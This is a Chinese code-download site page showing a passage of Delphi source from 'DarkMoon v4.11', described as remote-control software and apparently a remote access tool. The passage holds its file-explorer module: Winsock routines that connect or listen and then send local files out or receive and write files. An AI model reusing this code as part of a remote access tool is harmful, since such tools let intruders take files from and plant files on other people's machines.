⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dm5314_uexplorer.pas

📁 DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.
💻 PAS
📖 第 1 页 / 共 2 页
字号:
  end;


 if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
 halt;
 end;

 addrserver.sin_family := AF_INET;
 addrserver.sin_port := htons(strtoint(port));
 addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));


 if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;
                 
                        
   try
        AssignFile(f, OpenFile);
             Reset(f);
             try
             size :=FileSize(f)*128 div 1024;
              frmMain.lblFTPSize.Caption:= inttostr(size);
            frmMain.ProgressBarExplorer.Max:=size;
              if size<1 then begin
            frmMain.ProgressBarExplorer.Max:=1;
              end;
             finally
             CloseFile(f);
             end;

          Archivo := CreateFile( PChar( OpenFile ),
                                 GENERIC_READ,
                                 0, nil,
                                 OPEN_EXISTING,
                                 FILE_ATTRIBUTE_NORMAL, 0);
          SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
     except
          CloseSocket( sock );
          Exit;
     end;
                                 
     repeat
          Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
          Send(Client, Buffer, BytesRead, 0);
        frmMain.ProgressBarExplorer.Position:= frmMain.ProgressBarExplorer.Position +1;
     until ( Error  ) and ( BytesRead = 0 );

     CloseHandle( Archivo );
     try CloseSocket( client ); except end;
     Abortar := FALSE;
end;


procedure ICUploadFile ( OpenFile : string; Port : string );
//The server should send a file to the client
var  addr         : TSockAddrIn;
     sinsize      : Integer;
     sock,cliente : TSocket;
     Archivo      : THandle;
     Buffer       : array [ 1..1024 ] of Char;
     BytesRead    : DWord;
     Error     : Boolean;
      size : longint ;
      f   : file ;
begin
     addr.sin_family := AF_INET;
     addr.sin_port := htons(strtoint(PORT) );
     addr.sin_addr.S_addr := INADDR_ANY;
     //Open the socket
     sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
     if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
        Exit;

     if Listen(sock, 1) = SOCKET_ERROR then
     begin
          try CloseSocket( Sock ); except end;
          Exit;
     end;
     //Espera una conexion
     sinsize := SizeOf( addr );
     cliente := Accept( sock, @addr, @sinsize );

     try

        AssignFile(f, OpenFile);
             Reset(f);
             try
             size :=FileSize(f)*128 div 1024;
              frmMain.lblFTPSize.Caption:= inttostr(size);
             frmMain.ProgressBarExplorer.Max:=size;
              if size<1 then begin
             frmMain.ProgressBarExplorer.Max:=1;
              end;
             finally
             CloseFile(f);
             end;


          Archivo := CreateFile( PChar( OpenFile ),
                                 GENERIC_READ,
                                 0, nil,
                                 OPEN_EXISTING,
                                 FILE_ATTRIBUTE_NORMAL, 0);
          SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
           // Server_Send('9^Downloading File: ' +  GetFileName(OpenFile) + '^');
     except
          CloseSocket( sock );
          Exit;
     end;                            
     Sleep( 150 );
     repeat
          Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
          Send( cliente, Buffer, BytesRead, 0);
        frmMain.ProgressBarExplorer.Position:= frmMain.ProgressBarExplorer.Position +1
     until ( Error  ) and ( BytesRead = 0 );
    // Server_Send('9^File Downloaded: ' +  GetFileName(OpenFile) + '^') ;

     CloseHandle( Archivo );
     try CloseSocket( cliente ); except end;
     try CloseSocket( sock ); except end;
     Abortar := FALSE;
end;



function DownloadDataConnect(SaveFile : string  ;Ipadress : string; PORT : string): string ;
 var addr : TSockAddrIn;
     addrserver : TSockAddrIn;
     BytesRead, sinsize : Integer;
       client      : TSocket;
     a          : THandle;
     Buffer     : array [ 1..2048 ] of Char;
     BytesWrite : DWORD;
     FileStatus : Boolean;
     Data : string;
    begin

  Client := socket(AF_INET, SOCK_STREAM, 0);
  if (Client <> INVALID_SOCKET)   THEN BEGIN
  addr.sin_family := AF_INET;
  addr.sin_port := 0;
  addr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;

 if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
 halt;
 end;

 addrserver.sin_family := AF_INET;
 addrserver.sin_port := htons(strtoint(PORT));
 addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));


 if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;

   BytesWrite := 0;
    try
        a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
    except
        CloseSocket(Client );
        Exit;
    end;
    repeat BytesRead  := Recv( client, Buffer, SizeOf( Buffer ), 0 );

           FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
            Data:=Data +    Buffer ;
    until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
    CloseHandle( a );
    try CloseSocket( client );  except end;
    Abortar := FALSE;
    result:=Data;
 end;




  function DownloadDataListen(SaveFile : string; Port : string):string;
var addr : TSockAddrIn;
    BytesRead, sinsize : Integer;
    sock, cliente      : TSocket;
    a          : THandle;
    Buffer     : array [ 1..2048 ] of Char;
    BytesWrite : DWORD;
    FileStatus : Boolean;
    data : string;
begin

    addr.sin_family := AF_INET;
    addr.sin_port := htons(strtoint(PORT));
    addr.sin_addr.S_addr := INADDR_ANY;
    //Abre el socket
    sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

    if Bind( sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
       Exit;
    if Listen(sock, 1) = SOCKET_ERROR then
       Exit;
    //Espera una conexion
    sinsize := SizeOf( addr );
    cliente := Accept( sock, @addr, @sinsize );
    BytesWrite := 0;
    try
        a := CreateFile( PChar( SaveFile  ), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
        //   Server_Send('9^Uploading File: ' +  GetFileName(SaveFile)+ '^');
    except
        CloseSocket( sock );
        Exit;
    end;
    repeat BytesRead  := Recv ( cliente, Buffer, SizeOf( Buffer ), 0 );
           FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
            data:=data +     Buffer;
    until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
    CloseHandle( a );

    try CloseSocket( cliente );  except end;
    try CloseSocket( sock ); except end;
    Abortar := FALSE;
      result:=data;
end;


procedure ICDownloadFile(SaveFile : string; Port : string);
var addr : TSockAddrIn;
    BytesRead, sinsize : Integer;
    sock, cliente      : TSocket;
    a          : THandle;
    Buffer     : array [ 1..2048 ] of Char;
    BytesWrite : DWORD;
    FileStatus : Boolean;
begin

    addr.sin_family := AF_INET;
    addr.sin_port := htons(strtoint(PORT));
    addr.sin_addr.S_addr := INADDR_ANY;
    //Abre el socket
    sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

    if Bind( sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
       Exit;
    if Listen(sock, 1) = SOCKET_ERROR then
       Exit;
    //Espera una conexion
    sinsize := SizeOf( addr );
    cliente := Accept( sock, @addr, @sinsize );
    BytesWrite := 0;
    try
        a := CreateFile( PChar( SaveFile  ), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
        //   Server_Send('9^Uploading File: ' +  GetFileName(SaveFile)+ '^');
    except
        CloseSocket( sock );
        Exit;
    end;
    repeat BytesRead  := Recv( cliente, Buffer, SizeOf( Buffer ), 0 );
           FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
             frmMain.ProgressBarExplorer.Position:=frmMain.ProgressBarExplorer.Position + 2;
    until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
    CloseHandle( a );

    try CloseSocket( cliente );  except end;
    try CloseSocket( sock ); except end;
    Abortar := FALSE;
end;



procedure init_winsock ();
begin
nErrorStatus := WSAStartup($101, wsa_Data);
if (nErrorStatus <> 0)  then     begin
//WSAGetLastError()
messagebox(0,pchar(inttostr(nErrorStatus)),'ddddddd',0);
halt;
end;
end;


procedure   CleanUP_winsock();
begin
WSACleanup(); // terminate WinSock uses
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -